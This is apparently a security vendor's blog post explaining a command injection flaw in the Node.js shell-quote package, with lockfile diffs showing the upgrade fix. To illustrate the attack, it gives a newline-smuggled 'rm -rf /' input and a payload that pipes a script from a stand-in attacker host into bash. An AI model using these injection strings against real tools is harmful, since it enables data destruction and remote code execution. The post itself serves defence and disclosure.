Back to Blog
critical SEVERITY7 min read

How Arbitrary Code Execution via Command Injection Happens in Node.js shell-quote and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the popular Node.js `shell-quote` package (versions prior to 1.8.4) where unescaped line terminators allowed attackers to inject and execute arbitrary shell commands. The fix upgrades `shell-quote` from version 1.8.1 to 1.8.4, which properly escapes line terminator characters (such as `\n`, `\r`, `\u2028`, and `\u2029`) before passing strings to the shell. This dependency was present in the project's `package-lock.json`

O
By Orbis AppSec
Published August 5, 2026Reviewed August 5, 2026

Answer Summary

CVE-2026-9277 is a critical command injection vulnerability in the Node.js `shell-quote` package (CWE-78) where unescaped line terminators (`\n`, `\r`, `\u2028`, `\u2029`) allow arbitrary code execution when user-controlled input is passed through `shell-quote`'s `quote()` function. The fix is to upgrade `shell-quote` from any version below 1.8.4 to version 1.8.4 or later, which properly escapes these line terminator characters before shell interpolation.

Vulnerability at a Glance

cweCWE-78
fixUpgrade shell-quote from 1.8.1 to 1.8.4
riskArbitrary code execution on the server or developer machine
languageJavaScript (Node.js)
root causeshell-quote failed to escape line terminator characters, allowing shell command injection
vulnerabilityCommand Injection via Unescaped Line Terminators

Introduction

In this project's dependency tree, the Trivy security scanner flagged a critical command injection vulnerability (CVE-2026-9277) in the shell-quote package at version 1.8.1, pinned in the package-lock.json file. The shell-quote library is widely used in the Node.js ecosystem to safely quote and parse shell command strings — it's depended upon by tools like launch-editor and react-dev-utils (part of Create React App). A flaw in how shell-quote handled line terminator characters meant that any application passing user-influenced strings through its quote() function was potentially vulnerable to arbitrary code execution.

The vulnerability was present in two dependency paths visible in the lockfile:
1. launch-editor requiring "shell-quote": "^1.8.1"
2. react-dev-utils requiring "shell-quote": "^1.7.3"

Both resolved to the vulnerable version 1.8.1. This is the kind of transitive dependency issue that makes supply chain security so challenging — the application developers may never have directly imported shell-quote, yet their users were exposed to a critical RCE vector.

The Vulnerability Explained

What Are Line Terminators and Why Do They Matter?

In most shell environments (bash, sh, zsh), a line terminator signals the end of one command and the beginning of the next. The most common line terminator is the newline character (\n), but Unicode defines additional line separators: \u2028 (Line Separator) and \u2029 (Paragraph Separator). The carriage return (\r) can also serve as a command separator in certain contexts.

The Core Flaw

The shell-quote library's quote() function is designed to take an array of arguments and produce a safely-escaped shell string. For example:

const { quote } = require('shell-quote');
const cmd = quote(['echo', 'hello world']);
// Expected output: "echo 'hello world'"

In version 1.8.1, the escaping logic did not account for line terminator characters embedded within argument strings. This means an attacker could craft input like:

const userInput = "harmless\nrm -rf /";
const cmd = quote(['echo', userInput]);
// Produced: echo 'harmless
// rm -rf /'
// The shell sees TWO commands!

The shell interprets the unescaped newline as a command separator, executing rm -rf / as a completely separate command with whatever privileges the process holds.

Attack Scenario Specific to This Codebase

In this project, shell-quote is used by launch-editor (which opens files in a developer's editor) and react-dev-utils (which provides development utilities for React applications). Consider this realistic attack path:

  1. A React development server processes an error overlay click that includes a file path
  2. The file path is passed through shell-quote to construct a command for opening the file in an editor
  3. An attacker who can influence the file path (e.g., through a crafted error message, source map, or import path) injects a line terminator followed by a malicious command
  4. The development server executes the injected command with the developer's full user privileges

For example, a malicious file reference like:

src/App.js\ncurl attacker.com/shell.sh | bash

Would result in the developer's machine downloading and executing a remote script when they click the error overlay.

Why Version 1.8.1 Was Vulnerable

The resolved entry in the lockfile shows the exact vulnerable artifact:

"shell-quote": {
  "version": "1.8.1",
  "resolved": "https://registry.npmmirror.com/shell-quote/-/shell-quote-1.8.1.tgz",
  "integrity": "sha512-6j1W9l1iAs/4xYBI1SYOVZyFcCis9b4KCLQ8fgAGG07QvzaRLVVRQvAy85yNmmZSjYjg4MWh4gNvlPujU/5LpA=="
}

This version's quote() function would pass through \n, \r, \u2028, and \u2029 without escaping them, breaking the fundamental security contract of the library.

The Fix

What Changed

The fix upgrades shell-quote from version 1.8.1 to 1.8.4 across the entire dependency tree. Version 1.8.4 properly escapes all line terminator characters, ensuring they cannot break out of a quoted string context.

Before (Vulnerable)

"node_modules/shell-quote": {
  "version": "1.8.1",
  "resolved": "https://registry.npmmirror.com/shell-quote/-/shell-quote-1.8.1.tgz",
  "integrity": "sha512-6j1W9l1iAs/4xYBI1SYOVZyFcCis9b4KCLQ8fgAGG07QvzaRLVVRQvAy85yNmmZSjYjg4MWh4gNvlPujU/5LpA=="
}

Dependency references used semver ranges:

"shell-quote": "^1.8.1"  // in launch-editor
"shell-quote": "^1.7.3"  // in react-dev-utils

After (Fixed)

"node_modules/shell-quote": {
  "version": "1.8.4",
  "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.4.tgz",
  "integrity": "sha512-VsC6n6vz1ihYYyZZwX7YZSF5l5x36ca17OC+a69h94YqB7X6XLwf+5MOgynYir2SLFUbl8gIYvBo8K8RoNQ6bQ==",
  "license": "MIT",
  "engines": {
    "node": ">= 0.4"
  },
  "funding": {
    "url": "https://github.com/sponsors/ljharb"
  }
}

Dependency references were pinned to exact versions:

"shell-quote": "1.8.4"  // in launch-editor (was ^1.8.1)
"shell-quote": "1.8.4"  // in react-dev-utils (was ^1.7.3)

Why Each Change Was Necessary

  1. package.json: Updated to specify the fixed version, ensuring fresh installs get the patched library.

  2. package-lock.json: Updated in three locations:
    - The node_modules/shell-quote entry (the actual resolved package metadata)
    - The launch-editor dependency declaration (pinned from ^1.8.1 to 1.8.4)
    - The react-dev-utils dependency declaration (pinned from ^1.7.3 to 1.8.4)

Why Pinning Matters Here

Notice that the fix changes "^1.8.1" to "1.8.4" (removing the caret). This is intentional — by pinning to an exact version, the project ensures that no future npm install can accidentally resolve to a version between 1.8.1 and 1.8.3 that might still be vulnerable. The registry source also changed from npmmirror.com to the canonical registry.npmjs.org, improving supply chain integrity.

Key Takeaways

  • Transitive dependencies can harbor critical vulnerabilities: shell-quote was never directly imported, yet it exposed the application to RCE through launch-editor and react-dev-utils.
  • Line terminators are an overlooked injection vector: Most developers think about semicolons and pipes for command injection, but \n, \r, \u2028, and \u2029 are equally dangerous shell metacharacters.
  • Semver ranges can be a liability for security-critical packages: The ^1.7.3 range in react-dev-utils could resolve to any version from 1.7.3 to 1.x.x — pinning to 1.8.4 eliminates ambiguity.
  • Development tooling is an attack surface: This vulnerability in launch-editor could compromise developer machines, which often have elevated access to production systems, secrets, and source code.
  • Registry source matters: The fix also moved resolution from npmmirror.com to the canonical registry.npmjs.org, reducing supply chain risk from mirror-specific attacks.

How Orbis AppSec Detected This

  • Source: User-influenced input (file paths, error messages) flowing into shell command construction via launch-editor and react-dev-utils
  • Sink: shell-quote's quote() function in version 1.8.1, which failed to escape line terminators before shell interpolation
  • Missing control: Line terminator characters (\n, \r, \u2028, \u2029) were not neutralized during the quoting process, allowing command boundary injection
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Upgraded shell-quote from 1.8.1 to 1.8.4, which properly escapes all line terminator characters in quoted strings

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

CVE-2026-9277 is a stark reminder that even well-established utility libraries can harbor critical vulnerabilities in edge cases that their escaping logic doesn't cover. The shell-quote package is used by thousands of Node.js projects, and the failure to escape line terminators created a command injection vector that could lead to arbitrary code execution on developer machines and production servers alike.

The fix was straightforward — a dependency version bump from 1.8.1 to 1.8.4 — but the implications of leaving it unpatched were severe. By pinning the exact version and updating both dependency paths in the lockfile, this project eliminated the vulnerability while maintaining full backward compatibility for valid inputs.

Always audit your transitive dependencies, keep security-critical packages updated, and prefer argument arrays over shell string construction whenever possible.

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #15

Related Articles

critical

deleteNestedProperty Prototype Pollution via Dot-Notation Path

The `deleteNestedProperty` function in propertyUtils.ts allowed attackers to manipulate JavaScript object prototypes by passing specially crafted dot-notation paths like `__proto__.polluted`. A fix now blocks dangerous keys before processing, preventing prototype pollution attacks that could affect all objects in the application.

high

How Denial of Service via Infinite Loop Happens in JavaScript Dependencies and How to Fix It

CVE-2026-67213 is a high-severity denial of service vulnerability in nanoid before version 5.1.6 that triggers an infinite loop during random ID generation when processing specially crafted input. We upgraded nanoid across the entire dependency tree to patch this flaw and prevent attackers from freezing application threads. This fix ensures that ID generation remains resilient even when handling adversarial input patterns.

high

How Sensitive Data Exposure happens in Zotero plugins and how to fix it

A high-severity data exposure vulnerability in `Zotero.ts` automatically transmitted complete document metadata—including private notes, attachment paths, and tags—to external LLM services without user consent. The fix replaces broad `item.toJSON()` serialization with explicit field selection, sending only essential bibliographic data.

high

How missing dependency update cooldowns happen in GitHub Dependabot configurations and how to fix it

A semgrep scan flagged `.github/dependabot.yml` for lacking a cooldown period, meaning Dependabot would immediately propose updates to brand-new package versions across npm, Bundler, and Docker ecosystems. The fix adds a `cooldown: default-days: 7` block to every `package-ecosystem` entry, forcing a one-week waiting period before newly published releases are considered — reducing exposure to malicious or unstable package drops.

high

How Path Traversal Happens in TensorFlow's Data Service and How to Fix It

TensorFlow's data service dispatcher validated dataset IDs against forward-slash traversal attacks but overlooked backslash characters on non-Windows platforms, allowing attackers to escape the root directory. A targeted fix adds explicit backslash validation across all platforms, closing a high-severity path traversal vulnerability in the snapshot management system.

critical

How Unbounded WebSocket Message Handling Causes Resource Exhaustion in Node.js and How to Fix It

The WebSocketCrossServerAdapter class in a popular Node.js WebSocket library lacked any rate limiting on inbound messages, allowing attackers to flood Redis nodes and WebSocket servers with high-volume traffic. The fix introduces a configurable `rateLimit` option that caps messages per connection per second, preventing resource exhaustion while preserving legitimate functionality.